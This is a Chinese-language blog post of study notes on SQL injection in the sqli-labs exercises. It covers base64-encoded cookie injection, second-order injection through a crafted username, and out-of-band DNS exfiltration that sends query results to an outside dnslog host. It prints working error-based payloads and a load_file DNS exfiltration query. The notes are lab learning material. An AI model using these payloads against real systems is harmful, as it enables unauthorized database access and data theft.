WEB漏洞-SQL注入之二次加解密,DNS等注入(学习笔记)

Cookile解码

sqlilab21关

首先填写信息(admin)抓包

 

将YWRtaW4%3D通过base64解密为admin 所以是cookie注入

将admin‘ and 1=1加密并发送数据包发现,会回显cookie

 

 

使用加密后的报错注入进行尝试

admin1')and extractvalue(1,concat(0x7e,(version()),0x7e))# 

base64加密后 YWRtaW4xJylhbmQgZXh0cmFjdHZhbHVlKDEsY29uY2F0KDB4N2UsKHZlcnNpb24oKSksMHg3ZSkpIw==

admin' or updatexml(1,concat(0x7e,version()),0) or '

base64加密后

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLHZlcnNpb24oKSksMCkgb3IgJw==

admin' or updatexml(1,concat(0x7e,database()),0) or '

base64加密后

YWRtaW4nIG9yIHVwZGF0ZXhtbCgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCkpLDApIG9yICc=

 

sqlilab24关登陆框&二次注入(实际案例)

应用场景---在前端和URL(黑盒测试)是无法发现二次注入,无法用工具扫描,只有在代码审计时才能发现是否存在二次注入

 

原理 #登录册界面,包含insert语句 ---insert into news(id,url,text)values(2,’x’,’$t’)

#忘记密码,包含update语句 ---upadte user set pwd=’$t’ where id=2 and username=’admin’

#原理: ---注册用户: admin’ and 1=1 密码:123456 ---更新:upadte user set pwd=’$t’ where id=2 and username=’admin’ and 1=1’---形成了注入语句,同理如果:换成注册其它用户名,更新的时候也会形成不同的注入语句。

创建账户dhakkan'#并设置密码123456 使用该账户登录后,进入修改密码界面修改为xxxx,发现修改密码后dhakkan'#的密码没有变 而dhakkan密码变成了xxxx

#源代码分析: --- UPDATE users SET PASSWORD='sss' where username=' dhakkan'#' and password='123456' ---相当于#将后面注释了,改为:UPDATE users SET PASSWORD='sss' where username=' dhakkan' and password='123456'

sqlilabs-less9-load_file&dnslog 带外注入(实际案例) DNS漏洞注入

select * from users where id=1 and if((select load_file(concat('',(select version()),'.yk2kql.ceye.io//abc'))),0,1);

---concat连接符,先查询数据库版本,然后和网站的DNS路径进行对比

---yk2kql.ceye.io是网站DNS

通过命令行输入此语句,可以在DNS管理页面查看到注入语句中显示的内容

 

DnslogSqlinj工具 实例:sqlilabs第九关 ---设置URL格式 ---工具注入 ---获取当前用户和数据 ---获取数据库 --dbs

意义: 解决盲注不能回显数据---盲注比较繁琐,效率低的问题

sqlmap中的temper为工具文件夹,里面包含很多工具

通过编写php文件实现结合SQLmap工具,中转注入

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值